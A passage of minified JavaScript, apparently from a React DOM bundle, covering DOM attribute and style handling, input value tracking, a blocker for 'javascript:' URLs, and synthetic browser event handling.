_r=new Set,Tr={};function Wa(e,t){bl(e,t),bl(e+&quot;Capture&quot;,t)}function bl(e,t){for(Tr[e]=t,e=0;e&lt;t.length;e++)_r.add(t[e])}var Th=RegExp(&quot;^[:A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD][:A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD\\-.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040]*$&quot;),Ar={},Cr={};function Ah(e){return Oi.call(Cr,e)?!0:Oi.call(Ar,e)?!1:Th.test(e)?Cr[e]=!0:(Ar[e]=!0,!1)}function cs(e,t,a){if(Ah(t))if(a===null)e.removeAttribute(t);else{switch(typeof a){case&quot;undefined&quot;:case&quot;function&quot;:case&quot;symbol&quot;:e.removeAttribute(t);return;case&quot;boolean&quot;:var l=t.toLowerCase().slice(0,5);if(l!==&quot;data-&quot;&amp;&amp;l!==&quot;aria-&quot;){e.removeAttribute(t);return}}e.setAttribute(t,&quot;&quot;+a)}}function rs(e,t,a){if(a===null)e.removeAttribute(t);else{switch(typeof a){case&quot;undefined&quot;:case&quot;function&quot;:case&quot;symbol&quot;:case&quot;boolean&quot;:e.removeAttribute(t);return}e.setAttribute(t,&quot;&quot;+a)}}function na(e,t,a,l){if(l===null)e.removeAttribute(a);else{switch(typeof l){case&quot;undefined&quot;:case&quot;function&quot;:case&quot;symbol&quot;:case&quot;boolean&quot;:e.removeAttribute(a);return}e.setAttributeNS(t,a,&quot;&quot;+l)}}function Mt(e){switch(typeof e){case&quot;bigint&quot;:case&quot;boolean&quot;:case&quot;number&quot;:case&quot;string&quot;:case&quot;undefined&quot;:return e;case&quot;object&quot;:return e;default:return&quot;&quot;}}function zr(e){var t=e.type;return(e=e.nodeName)&amp;&amp;e.toLowerCase()===&quot;input&quot;&amp;&amp;(t===&quot;checkbox&quot;||t===&quot;radio&quot;)}function Ch(e,t,a){var l=Object.getOwnPropertyDescriptor(e.constructor.prototype,t);if(!e.hasOwnProperty(t)&amp;&amp;typeof l&lt;&quot;u&quot;&amp;&amp;typeof l.get==&quot;function&quot;&amp;&amp;typeof l.set==&quot;function&quot;){var s=l.get,i=l.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return s.call(this)},set:function(o){a=&quot;&quot;+o,i.call(this,o)}}),Object.defineProperty(e,t,{enumerable:l.enumerable}),{getValue:function(){return a},setValue:function(o){a=&quot;&quot;+o},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function Bi(e){if(!e._valueTracker){var t=zr(e)?&quot;checked&quot;:&quot;value&quot;;e._valueTracker=Ch(e,t,&quot;&quot;+e[t])}}function Or(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var a=t.getValue(),l=&quot;&quot;;return e&amp;&amp;(l=zr(e)?e.checked?&quot;true&quot;:&quot;false&quot;:e.value),e=l,e!==a?(t.setValue(e),!0):!1}function os(e){if(e=e||(typeof document&lt;&quot;u&quot;?document:void 0),typeof e&gt;&quot;u&quot;)return null;try{return e.activeElement||e.body}catch{return e.body}}var zh=/[\n&quot;\\]/g;function Ut(e){return e.replace(zh,function(t){return&quot;\\&quot;+t.charCodeAt(0).toString(16)+&quot; &quot;})}function Li(e,t,a,l,s,i,o,h){e.name=&quot;&quot;,o!=null&amp;&amp;typeof o!=&quot;function&quot;&amp;&amp;typeof o!=&quot;symbol&quot;&amp;&amp;typeof o!=&quot;boolean&quot;?e.type=o:e.removeAttribute(&quot;type&quot;),t!=null?o===&quot;number&quot;?(t===0&amp;&amp;e.value===&quot;&quot;||e.value!=t)&amp;&amp;(e.value=&quot;&quot;+Mt(t)):e.value!==&quot;&quot;+Mt(t)&amp;&amp;(e.value=&quot;&quot;+Mt(t)):o!==&quot;submit&quot;&amp;&amp;o!==&quot;reset&quot;||e.removeAttribute(&quot;value&quot;),t!=null?ki(e,o,Mt(t)):a!=null?ki(e,o,Mt(a)):l!=null&amp;&amp;e.removeAttribute(&quot;value&quot;),s==null&amp;&amp;i!=null&amp;&amp;(e.defaultChecked=!!i),s!=null&amp;&amp;(e.checked=s&amp;&amp;typeof s!=&quot;function&quot;&amp;&amp;typeof s!=&quot;symbol&quot;),h!=null&amp;&amp;typeof h!=&quot;function&quot;&amp;&amp;typeof h!=&quot;symbol&quot;&amp;&amp;typeof h!=&quot;boolean&quot;?e.name=&quot;&quot;+Mt(h):e.removeAttribute(&quot;name&quot;)}function wr(e,t,a,l,s,i,o,h){if(i!=null&amp;&amp;typeof i!=&quot;function&quot;&amp;&amp;typeof i!=&quot;symbol&quot;&amp;&amp;typeof i!=&quot;boolean&quot;&amp;&amp;(e.type=i),t!=null||a!=null){if(!(i!==&quot;submit&quot;&amp;&amp;i!==&quot;reset&quot;||t!=null)){Bi(e);return}a=a!=null?&quot;&quot;+Mt(a):&quot;&quot;,t=t!=null?&quot;&quot;+Mt(t):a,h||t===e.value||(e.value=t),e.defaultValue=t}l=l??s,l=typeof l!=&quot;function&quot;&amp;&amp;typeof l!=&quot;symbol&quot;&amp;&amp;!!l,e.checked=h?e.checked:!!l,e.defaultChecked=!!l,o!=null&amp;&amp;typeof o!=&quot;function&quot;&amp;&amp;typeof o!=&quot;symbol&quot;&amp;&amp;typeof o!=&quot;boolean&quot;&amp;&amp;(e.name=o),Bi(e)}function ki(e,t,a){t===&quot;number&quot;&amp;&amp;os(e.ownerDocument)===e||e.defaultValue===&quot;&quot;+a||(e.defaultValue=&quot;&quot;+a)}function jl(e,t,a,l){if(e=e.options,t){t={};for(var s=0;s&lt;a.length;s++)t[&quot;$&quot;+a[s]]=!0;for(a=0;a&lt;e.length;a++)s=t.hasOwnProperty(&quot;$&quot;+e[a].value),e[a].selected!==s&amp;&amp;(e[a].selected=s),s&amp;&amp;l&amp;&amp;(e[a].defaultSelected=!0)}else{for(a=&quot;&quot;+Mt(a),t=null,s=0;s&lt;e.length;s++){if(e[s].value===a){e[s].selected=!0,l&amp;&amp;(e[s].defaultSelected=!0);return}t!==null||e[s].disabled||(t=e[s])}t!==null&amp;&amp;(t.selected=!0)}}function Rr(e,t,a){if(t!=null&amp;&amp;(t=&quot;&quot;+Mt(t),t!==e.value&amp;&amp;(e.value=t),a==null)){e.defaultValue!==t&amp;&amp;(e.defaultValue=t);return}e.defaultValue=a!=null?&quot;&quot;+Mt(a):&quot;&quot;}function Dr(e,t,a,l){if(t==null){if(l!=null){if(a!=null)throw Error(r(92));if(ae(l)){if(1&lt;l.length)throw Error(r(93));l=l[0]}a=l}a==null&amp;&amp;(a=&quot;&quot;),t=a}a=Mt(t),e.defaultValue=a,l=e.textContent,l===a&amp;&amp;l!==&quot;&quot;&amp;&amp;l!==null&amp;&amp;(e.value=l),Bi(e)}function Sl(e,t){if(t){var a=e.firstChild;if(a&amp;&amp;a===e.lastChild&amp;&amp;a.nodeType===3){a.nodeValue=t;return}}e.textContent=t}var Oh=new Set(&quot;animationIterationCount aspectRatio borderImageOutset borderImageSlice borderImageWidth boxFlex boxFlexGroup boxOrdinalGroup columnCount columns flex flexGrow flexPositive flexShrink flexNegative flexOrder gridArea gridRow gridRowEnd gridRowSpan gridRowStart gridColumn gridColumnEnd gridColumnSpan gridColumnStart fontWeight lineClamp lineHeight opacity order orphans scale tabSize widows zIndex zoom fillOpacity floodOpacity stopOpacity strokeDasharray strokeDashoffset strokeMiterlimit strokeOpacity strokeWidth MozAnimationIterationCount MozBoxFlex MozBoxFlexGroup MozLineClamp msAnimationIterationCount msFlex msZoom msFlexGrow msFlexNegative msFlexOrder msFlexPositive msFlexShrink msGridColumn msGridColumnSpan msGridRow msGridRowSpan WebkitAnimationIterationCount WebkitBoxFlex WebKitBoxFlexGroup WebkitBoxOrdinalGroup WebkitColumnCount WebkitColumns WebkitFlex WebkitFlexGrow WebkitFlexPositive WebkitFlexShrink WebkitLineClamp&quot;.split(&quot; &quot;));function Mr(e,t,a){var l=t.indexOf(&quot;--&quot;)===0;a==null||typeof a==&quot;boolean&quot;||a===&quot;&quot;?l?e.setProperty(t,&quot;&quot;):t===&quot;float&quot;?e.cssFloat=&quot;&quot;:e[t]=&quot;&quot;:l?e.setProperty(t,a):typeof a!=&quot;number&quot;||a===0||Oh.has(t)?t===&quot;float&quot;?e.cssFloat=a:e[t]=(&quot;&quot;+a).trim():e[t]=a+&quot;px&quot;}function Ur(e,t,a){if(t!=null&amp;&amp;typeof t!=&quot;object&quot;)throw Error(r(62));if(e=e.style,a!=null){for(var l in a)!a.hasOwnProperty(l)||t!=null&amp;&amp;t.hasOwnProperty(l)||(l.indexOf(&quot;--&quot;)===0?e.setProperty(l,&quot;&quot;):l===&quot;float&quot;?e.cssFloat=&quot;&quot;:e[l]=&quot;&quot;);for(var s in t)l=t[s],t.hasOwnProperty(s)&amp;&amp;a[s]!==l&amp;&amp;Mr(e,s,l)}else for(var i in t)t.hasOwnProperty(i)&amp;&amp;Mr(e,i,t[i])}function Gi(e){if(e.indexOf(&quot;-&quot;)===-1)return!1;switch(e){case&quot;annotation-xml&quot;:case&quot;color-profile&quot;:case&quot;font-face&quot;:case&quot;font-face-src&quot;:case&quot;font-face-uri&quot;:case&quot;font-face-format&quot;:case&quot;font-face-name&quot;:case&quot;missing-glyph&quot;:return!1;default:return!0}}var wh=new Map([[&quot;acceptCharset&quot;,&quot;accept-charset&quot;],[&quot;htmlFor&quot;,&quot;for&quot;],[&quot;httpEquiv&quot;,&quot;http-equiv&quot;],[&quot;crossOrigin&quot;,&quot;crossorigin&quot;],[&quot;accentHeight&quot;,&quot;accent-height&quot;],[&quot;alignmentBaseline&quot;,&quot;alignment-baseline&quot;],[&quot;arabicForm&quot;,&quot;arabic-form&quot;],[&quot;baselineShift&quot;,&quot;baseline-shift&quot;],[&quot;capHeight&quot;,&quot;cap-height&quot;],[&quot;clipPath&quot;,&quot;clip-path&quot;],[&quot;clipRule&quot;,&quot;clip-rule&quot;],[&quot;colorInterpolation&quot;,&quot;color-interpolation&quot;],[&quot;colorInterpolationFilters&quot;,&quot;color-interpolation-filters&quot;],[&quot;colorProfile&quot;,&quot;color-profile&quot;],[&quot;colorRendering&quot;,&quot;color-rendering&quot;],[&quot;dominantBaseline&quot;,&quot;dominant-baseline&quot;],[&quot;enableBackground&quot;,&quot;enable-background&quot;],[&quot;fillOpacity&quot;,&quot;fill-opacity&quot;],[&quot;fillRule&quot;,&quot;fill-rule&quot;],[&quot;floodColor&quot;,&quot;flood-color&quot;],[&quot;floodOpacity&quot;,&quot;flood-opacity&quot;],[&quot;fontFamily&quot;,&quot;font-family&quot;],[&quot;fontSize&quot;,&quot;font-size&quot;],[&quot;fontSizeAdjust&quot;,&quot;font-size-adjust&quot;],[&quot;fontStretch&quot;,&quot;font-stretch&quot;],[&quot;fontStyle&quot;,&quot;font-style&quot;],[&quot;fontVariant&quot;,&quot;font-variant&quot;],[&quot;fontWeight&quot;,&quot;font-weight&quot;],[&quot;glyphName&quot;,&quot;glyph-name&quot;],[&quot;glyphOrientationHorizontal&quot;,&quot;glyph-orientation-horizontal&quot;],[&quot;glyphOrientationVertical&quot;,&quot;glyph-orientation-vertical&quot;],[&quot;horizAdvX&quot;,&quot;horiz-adv-x&quot;],[&quot;horizOriginX&quot;,&quot;horiz-origin-x&quot;],[&quot;imageRendering&quot;,&quot;image-rendering&quot;],[&quot;letterSpacing&quot;,&quot;letter-spacing&quot;],[&quot;lightingColor&quot;,&quot;lighting-color&quot;],[&quot;markerEnd&quot;,&quot;marker-end&quot;],[&quot;markerMid&quot;,&quot;marker-mid&quot;],[&quot;markerStart&quot;,&quot;marker-start&quot;],[&quot;overlinePosition&quot;,&quot;overline-position&quot;],[&quot;overlineThickness&quot;,&quot;overline-thickness&quot;],[&quot;paintOrder&quot;,&quot;paint-order&quot;],[&quot;panose-1&quot;,&quot;panose-1&quot;],[&quot;pointerEvents&quot;,&quot;pointer-events&quot;],[&quot;renderingIntent&quot;,&quot;rendering-intent&quot;],[&quot;shapeRendering&quot;,&quot;shape-rendering&quot;],[&quot;stopColor&quot;,&quot;stop-color&quot;],[&quot;stopOpacity&quot;,&quot;stop-opacity&quot;],[&quot;strikethroughPosition&quot;,&quot;strikethrough-position&quot;],[&quot;strikethroughThickness&quot;,&quot;strikethrough-thickness&quot;],[&quot;strokeDasharray&quot;,&quot;stroke-dasharray&quot;],[&quot;strokeDashoffset&quot;,&quot;stroke-dashoffset&quot;],[&quot;strokeLinecap&quot;,&quot;stroke-linecap&quot;],[&quot;strokeLinejoin&quot;,&quot;stroke-linejoin&quot;],[&quot;strokeMiterlimit&quot;,&quot;stroke-miterlimit&quot;],[&quot;strokeOpacity&quot;,&quot;stroke-opacity&quot;],[&quot;strokeWidth&quot;,&quot;stroke-width&quot;],[&quot;textAnchor&quot;,&quot;text-anchor&quot;],[&quot;textDecoration&quot;,&quot;text-decoration&quot;],[&quot;textRendering&quot;,&quot;text-rendering&quot;],[&quot;transformOrigin&quot;,&quot;transform-origin&quot;],[&quot;underlinePosition&quot;,&quot;underline-position&quot;],[&quot;underlineThickness&quot;,&quot;underline-thickness&quot;],[&quot;unicodeBidi&quot;,&quot;unicode-bidi&quot;],[&quot;unicodeRange&quot;,&quot;unicode-range&quot;],[&quot;unitsPerEm&quot;,&quot;units-per-em&quot;],[&quot;vAlphabetic&quot;,&quot;v-alphabetic&quot;],[&quot;vHanging&quot;,&quot;v-hanging&quot;],[&quot;vIdeographic&quot;,&quot;v-ideographic&quot;],[&quot;vMathematical&quot;,&quot;v-mathematical&quot;],[&quot;vectorEffect&quot;,&quot;vector-effect&quot;],[&quot;vertAdvY&quot;,&quot;vert-adv-y&quot;],[&quot;vertOriginX&quot;,&quot;vert-origin-x&quot;],[&quot;vertOriginY&quot;,&quot;vert-origin-y&quot;],[&quot;wordSpacing&quot;,&quot;word-spacing&quot;],[&quot;writingMode&quot;,&quot;writing-mode&quot;],[&quot;xmlnsXlink&quot;,&quot;xmlns:xlink&quot;],[&quot;xHeight&quot;,&quot;x-height&quot;]]),Rh=/^[\u0000-\u001F ]*j[\r\n\t]*a[\r\n\t]*v[\r\n\t]*a[\r\n\t]*s[\r\n\t]*c[\r\n\t]*r[\r\n\t]*i[\r\n\t]*p[\r\n\t]*t[\r\n\t]*:/i;function ds(e){return Rh.test(&quot;&quot;+e)?&quot;javascript:throw new Error(&#039;React has blocked a javascript: URL as a security precaution.&#039;)&quot;:e}function sa(){}var Yi=null;function Qi(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&amp;&amp;(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var Nl=null,El=null;function Hr(e){var t=yl(e);if(t&amp;&amp;(e=t.stateNode)){var a=e[pt]||null;e:switch(e=t.stateNode,t.type){case&quot;input&quot;:if(Li(e,a.value,a.defaultValue,a.defaultValue,a.checked,a.defaultChecked,a.type,a.name),t=a.name,a.type===&quot;radio&quot;&amp;&amp;t!=null){for(a=e;a.parentNode;)a=a.parentNode;for(a=a.querySelectorAll(&#039;input[name=&quot;&#039;+Ut(&quot;&quot;+t)+&#039;&quot;][type=&quot;radio&quot;]&#039;),t=0;t&lt;a.length;t++){var l=a[t];if(l!==e&amp;&amp;l.form===e.form){var s=l[pt]||null;if(!s)throw Error(r(90));Li(l,s.value,s.defaultValue,s.defaultValue,s.checked,s.defaultChecked,s.type,s.name)}}for(t=0;t&lt;a.length;t++)l=a[t],l.form===e.form&amp;&amp;Or(l)}break e;case&quot;textarea&quot;:Rr(e,a.value,a.defaultValue);break e;case&quot;select&quot;:t=a.value,t!=null&amp;&amp;jl(e,!!a.multiple,t,!1)}}}var Xi=!1;function qr(e,t,a){if(Xi)return e(t,a);Xi=!0;try{var l=e(t);return l}finally{if(Xi=!1,(Nl!==null||El!==null)&amp;&amp;(Ps(),Nl&amp;&amp;(t=Nl,e=El,El=Nl=null,Hr(t),e)))for(t=0;t&lt;e.length;t++)Hr(e[t])}}function on(e,t){var a=e.stateNode;if(a===null)return null;var l=a[pt]||null;if(l===null)return null;a=l[t];e:switch(t){case&quot;onClick&quot;:case&quot;onClickCapture&quot;:case&quot;onDoubleClick&quot;:case&quot;onDoubleClickCapture&quot;:case&quot;onMouseDown&quot;:case&quot;onMouseDownCapture&quot;:case&quot;onMouseMove&quot;:case&quot;onMouseMoveCapture&quot;:case&quot;onMouseUp&quot;:case&quot;onMouseUpCapture&quot;:case&quot;onMouseEnter&quot;:(l=!l.disabled)||(e=e.type,l=!(e===&quot;button&quot;||e===&quot;input&quot;||e===&quot;select&quot;||e===&quot;textarea&quot;)),e=!l;break e;default:e=!1}if(e)return null;if(a&amp;&amp;typeof a!=&quot;function&quot;)throw Error(r(231,t,typeof a));return a}var ia=!(typeof window&gt;&quot;u&quot;||typeof window.document&gt;&quot;u&quot;||typeof window.document.createElement&gt;&quot;u&quot;),Vi=!1;if(ia)try{var dn={};Object.defineProperty(dn,&quot;passive&quot;,{get:function(){Vi=!0}}),window.addEventListener(&quot;test&quot;,dn,dn),window.removeEventListener(&quot;test&quot;,dn,dn)}catch{Vi=!1}var Ta=null,Zi=null,fs=null;function Br(){if(fs)return fs;var e,t=Zi,a=t.length,l,s=&quot;value&quot;in Ta?Ta.value:Ta.textContent,i=s.length;for(e=0;e&lt;a&amp;&amp;t[e]===s[e];e++);var o=a-e;for(l=1;l&lt;=o&amp;&amp;t[a-l]===s[i-l];l++);return fs=s.slice(e,1&lt;l?1-l:void 0)}function ms(e){var t=e.keyCode;return&quot;charCode&quot;in e?(e=e.charCode,e===0&amp;&amp;t===13&amp;&amp;(e=13)):e=t,e===10&amp;&amp;(e=13),32&lt;=e||e===13?e:0}function hs(){return!0}function Lr(){return!1}function xt(e){function t(a,l,s,i,o){this._reactName=a,this._targetInst=s,this.type=l,this.nativeEvent=i,this.target=o,this.currentTarget=null;for(var h in e)e.hasOwnProperty(h)&amp;&amp;(a=e[h],this[h]=a?a(i):i[h]);return this.isDefaultPrevented=(i.defaultPrevented!=null?i.defaultPrevented:i.returnValue===!1)?hs:Lr,this.isPropagationStopped=Lr,this}return b(t.prototype,{preventDefault:function(){this.defaultPrevented=!0;var a=this.nativeEvent;a&amp;&amp;(a.preventDefault?a.preventDefault():typeof a.returnValue!=&quot;unknown&quot;&amp;&amp;(a.returnValue=!1),this.isDefaultPrevented=hs)},stopPropagation:function(){var a=this.nativeEvent;a&amp;&amp;(a.stopPropagation?a.stopPropagation():typeof a.cancelBubble!=&quot;unknown&quot;&amp;&amp;(a.cancelBubble=!0),this.isPropagationStopped=hs)},persist:function(){},isPersistent:hs}),t}var Pa={eventPhase:0,bubbles:0,cancelable:0,timeStamp:function(e){return e.timeStamp||Date.now()},defaultPrevented:0,isTrusted:0},ps=xt(Pa),fn=b({},Pa,{view:0,detail:0}),Dh=xt(fn),Ji,$i,mn,xs=b({},fn,{screenX:0,screenY:0,clientX:0,clientY:0,pageX:0,pageY:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,getModifierState:Fi,button:0,buttons:0,relatedTarget:function(e){return e.relatedTarget===void 0?e.fromElement===e.srcElement?e.toElement:e.fromElement:e.relatedTarget},movementX:function(e){return&quot;movementX&quot;in e?e.movementX:(e!==mn&amp;&amp;(mn&amp;&amp;e.type===&quot;mousemove&quot;?(Ji=e.screenX-mn.screenX,$i=e.screenY-mn.screenY):$i=Ji=0,mn=e),Ji)},movementY:function(e){return&quot;movementY&quot;in e?e.movementY:$i}}),kr=xt(xs),Mh=b({},xs,{dataTransfer:0}),Uh=xt(Mh),Hh=b({},fn,{relatedTarget:0}),Ki=xt(Hh),qh=b({},Pa,{animationName:0,elapsedTime:0,pseudoElement:0}),Bh=xt(qh),Lh=b({},Pa,{clipboardData:function(e){return&quot;clipboardData&quot;in e?e.clipboardData:window.clipboardData}}),kh=xt(Lh),Gh=b({},Pa,{data:0}),Gr=xt(Gh),Yh={Esc:&quot;Escape&quot;,Spacebar:&quot; &quot;,Left:&quot;ArrowLeft&quot;,Up:&quot;ArrowUp&quot;,Right:&quot;ArrowRight&quot;,Down:&quot;ArrowDown&quot;,Del:&quot;Delete&quot;,Win:&quot;OS&quot;,Menu:&quot;ContextMenu&quot;,Apps:&quot;ContextMenu&quot;,Scroll:&quot;ScrollLock&quot;,MozPrintableKey:&quot;Unidentified&quot;},Qh={8:&quot;Backspace&quot;,9:&quot;Tab&quot;,12:&quot;Clear&quot;,13:&quot;Enter&quot;,16:&quot;Shift&quot;,17:&quot;Control&quot;,18:&quot;Alt&quot;,19:&quot;Pause&quot;,20:&quot;CapsLock&quot;,27:&quot;Escape&quot;,32:&quot; &quot;,33:&quot;PageUp&quot;,34:&quot;PageDown&quot;,35:&quot;End&quot;,36:&quot;Home&quot;,37:&quot;ArrowLeft&quot;,38:&quot;ArrowUp&quot;,39:&quot;ArrowRight&quot;,40:&quot;ArrowDown&quot;,45:&quot;Insert&quot;,46:&quot;Delete&quot;,112:&quot;F1&quot;,113:&quot;F2&quot;,114:&quot;F3&quot;,115:&quot;F4&quot;,116:&quot;F5&quot;,117:&quot;F6&quot;,118:&quot;F7&quot;,119:&quot;F8&quot;,120:&quot;F9&quot;,121:&quot;F10&quot;,122:&quot;F11&quot;,123:&quot;F12&quot;,144:&quot;NumLock&quot;,145:&quot;ScrollLock&quot;,224:&quot;Meta&quot;},Xh={Alt:&quot;altKey&quot;,Control:&quot;ctrlKey&quot;,Meta:&quot;metaKey&quot;,Shift:&quot;shiftKey&quot;};function Vh(e){var t=this.nativeEvent;return t.getModifierState?t.getModifierState(e):(e=Xh[e])?!!t[e]:!1}function Fi(){return Vh}var Zh=b({},fn,{key:function(e){if(e.key){var t=Yh[e.key]||e.key;if(t!==&quot;Unidentified&quot;)return t}return e.type===&quot;keypress&quot;?(e=ms(e),e===13?&quot;Enter&quot;:String.fromCharCode(e)):e.type===&quot;keydown&quot;||e.type===&quot;keyup&quot;?Qh[e.keyCode]||&quot;Unidentified&quot;:&quot;&quot;},code:0,location:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,repeat:0,locale:0,getModifierState:Fi,charCode:function(e){return e.type===&quot;keypress&quot;?ms(e):0},keyCode:function(e){return e.type===&quot;keydown&quot;||e.type===&quot;keyup&quot;?e.keyCode:0},which:function(e){return e.type===&quot;keypress&quot;?ms(e):e.type===&quot;keydown&quot;||e.type===&quot;keyup&quot;?e.keyCode:0}}),Jh=xt(Zh),$h=b({},xs,{pointerId:0,width:0,height:0,pressure:0,tangentialPressure:0,tiltX:0,tiltY:0,twist:0,pointerType:0,isPrimary:0}),Yr=xt($h),Kh=b({},fn,{touches:0,targetTouches:0,changedTouches:0,altKey:0,metaKey:0,ctrlKey:0,shiftKey:0,getModifierState:Fi}),Fh=xt(Kh),Wh=b({},Pa,{propertyName:0,elapsedTime:0,pseudoElement:0}),Ph=xt(Wh),Ih=b({},xs,{deltaX:function(e){return&quot;deltaX&quot;in e?e.deltaX:&quot;wheelDeltaX&quot;in e?-e.wheelDeltaX:0},deltaY:function(e){return&quot;deltaY&quot;in e?e.deltaY:&quot;wheelDeltaY&quot;in e?-e.wheelDeltaY:&quot;wheelDelta&quot;in e?-e.wheelDelta:0},deltaZ:0,deltaMode:0}),e0=xt(Ih),t0=b({},Pa,{newState:0,oldState:0}),a0=xt(t0),l0=[9,13,27,32],Wi=ia&amp;&amp;&quot;CompositionEvent&quot;in window,hn=null;ia&amp;&amp;&quot;documentMode&quot;in document&amp;&amp;(hn=document.documentMode);var n0=ia&amp;&amp;&quot;TextEvent&quot;in window&amp;&amp;!hn,Qr=ia&amp;&amp;(!Wi||hn&amp;&amp;8&lt;hn&amp;&amp;11&gt;=hn),Xr=&quot; &quot;,Vr=!1;function Zr(e,t){switch(e){case&quot;keyup&quot;:return l0.indexOf(t.keyCode)!==-1;case&quot;keydown&quot;:return t.keyCode!==229;case&quot;keypress&quot;:case&quot;mousedown&quot;:case&quot;focusout&quot;:return!0;default:return!1}}function Jr(e){return e=e.detail,typeof e==&quot;object&quot;&amp;&amp;&quot;data&quot;in e?e.data:null}var _l=!1;function s0(e,t){switch(e){case&quot;compositionend&quot;:return Jr(t);case&quot;keypress&quot;:return t.which!==32?null:(Vr=!0,Xr);case&quot;textInput&quot;:return e=t.data,e===Xr&amp;&amp;Vr?null:e;default:return null}}function i0(e,t){if(_l)return e===&quot;compositionend&quot;||!Wi&amp;&amp;Zr(e,t)?(e=Br(),fs=Zi=Ta=null,_l=!1,e):null;switch(e){case&quot;paste&quot;:return null;case&quot;keypress&quot;:if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&amp;&amp;t.altKey){if(t.char&amp;&amp;1&lt;t.char.length)return t.char;if(t.which)return String.fromCharCode(t.which)}return null;case&quot;compositionend&quot;:return Qr&amp;&amp;t.locale!==&quot;ko&quot;?null:t.data;default:return null}}var u0={color:!0,date:!0,datetime:!0,&quot;datetime-local&quot;:!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0};function $r(e){var t=e&amp;&amp;e.nodeName&amp;&amp;e.nodeName.toLowerCase();return t===&quot;input&quot;?!!u0[e.type]:t===&quot;textarea&quot;}function Kr(e,t,a,l){Nl?El?El.push(l):El=[l]:Nl=l,t=si(t,&quot;onChange&quot;),0&lt;t.length&amp;&amp;(a=new ps(&quot;onChange&quot;,&quot;change&quot;,null,a,l),e.push({event:a,listeners:t}))}var pn=null,xn=null;function c0(e){Df(e,0)}function vs(e){var t=rn(e);if(Or(t))return e}function Fr(e,t){if(e===&quot;change&quot;)return t}var Wr=!1;if(ia){var Pi;if(ia){var Ii=&quot;oninput&quot;in document;if(!Ii){var Pr=document.createElement(&quot;div&quot;);Pr.setAttribute(&quot;oninput&quot;,&quot;return;&quot;),Ii=typeof Pr.oninput==&quot;function&quot;}Pi=Ii}else Pi=!1;Wr=Pi&amp;&amp;(!document.documentMode||9&lt;document.documentMode)}function Ir(){pn&amp;&amp;(pn.detachEvent(&quot;onpropertychange&quot;,eo),xn=pn=null)}function eo(e){if(e.propertyName===&quot;value&quot;&amp;&amp;vs(xn)){var t=[];Kr(t,xn,e,Qi(e)),qr(c0,t)}}function r0(e,t,a){e===&quot;focusin&quot;?(Ir(),pn=t,xn=a,pn.attachEvent(&quot;onpropertychange&quot;,eo)):e===&quot;focusout&quot;&amp;&amp;Ir()}function o0(e){if(e===&quot;selectionchange&quot;||e===&quot;keyup&quot;||e===&quot;keydown&quot;)return vs(xn)}function d0(e,t){if(e===&quot;click&quot;)return vs(t)}function f0(e,t){if(e===&quot;input&quot;||e===&quot;change&quot;)return vs(t)}function m0(e,t){return e===t&amp;&amp;(e!==0||1/e===1/t)||e!==e&amp;&amp;t!==t}var _t=typeof Object.is==&quot;function&quot;?Object.is:m0;function vn(e,t){if(_t(e,t))return!0;if(typeof e!=&quot;object&quot;||e===null||typeof t!=&quot;object&quot;||t===null)return!1;var a=Object.keys(e),l=Object.keys(t);if(a.length!==l.length)return!1;for(l=0;l&lt;a.length;l++){var s=a[l];if(!Oi.call(t,s)||!_t(e[s],t[s]))return!1}return!0}function to(e){for(;e&amp;&amp;e.firstChild;)e=e.firstChild;return e}function ao(e,t){var a=to(e);e=0;for(var l;a;){if(a.nodeType===3){if(l=e+a.textContent.length,e&lt;=t&amp;&amp;l&gt;=t)return{node:a,offset:t-e};e=l}e:{for(;a;){if(a.nextSibling){a=a.nextSibling;break e}a=a.parentNode}a=void 0}a=to(a)}}function lo(e,t){return e&amp;&amp;t?e===t?!0:e&amp;&amp;e.nodeType===3?!1:t&amp;&amp;t.nodeType===3?lo(e,t.parentNode):&quot;contains&quot;in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&amp;16):!1:!1}function no(e){e=e!=null&amp;&amp;e.ownerDocument!=null&amp;&amp;e.ownerDocument.defaultView!=null?e.ownerDocument.defaultView:window;for(var t=os(e.document);t instanceof e.HTMLIFrameElement;){try{var a=typeof t.contentWindow.location.href==&quot;string&quot;}catch{a=!1}if(a)e=t.contentWindow;else break;t=os(e.document)}return t}function eu(e){var t=e&amp;&amp;e.nodeName&amp;&amp;e.nodeName.toLowerCase();return t&amp;&amp;(t===&quot;input&quot;&amp;&amp;(e.type===&quot;text&quot;||e.type===&quot;search&quot;||e.type===&quot;tel&quot;||e.type===&quot;url&quot;||e.type===&quot;password&quot;)||t===&quot;textarea&quot;||e.contentEditable===&quot;true&quot;)}var h0=ia&amp;&amp;&quot;documentMode&quot;in document&amp;&amp;11&gt;=document.documentMode,Tl=null,tu=null,yn=null,au=!1;function so(e,t,a){var l=a.window===a?a.document:a.nodeType===9?a:a.ownerDocument;au||Tl==null||Tl!==os(l)||(l=Tl,&quot;selectionStart&quot;in l&amp;&amp;eu(l)?l={start:l.selectionStart,end:l.selectionEnd}:(l=(l.ownerDocument&amp;&amp;l.ownerDocument.defaultView||window).getSelection(),l={anchorNode:l.anchorNode,anchorOffset:l.anchorOffset,focusNode:l.focusNode,focusOffset:l.focusOffset}),yn&amp;&amp;vn(yn,l)||(yn=l,l=si(tu,&quot;onSelect&quot;),0&lt;l.length&amp;&amp;(t=new ps(&quot;onSelect&quot;,&quot;select&quot;,null,t,a),e.push({event:t,listeners:l}),t.target=Tl)))}function Ia(e,t){var a={};return 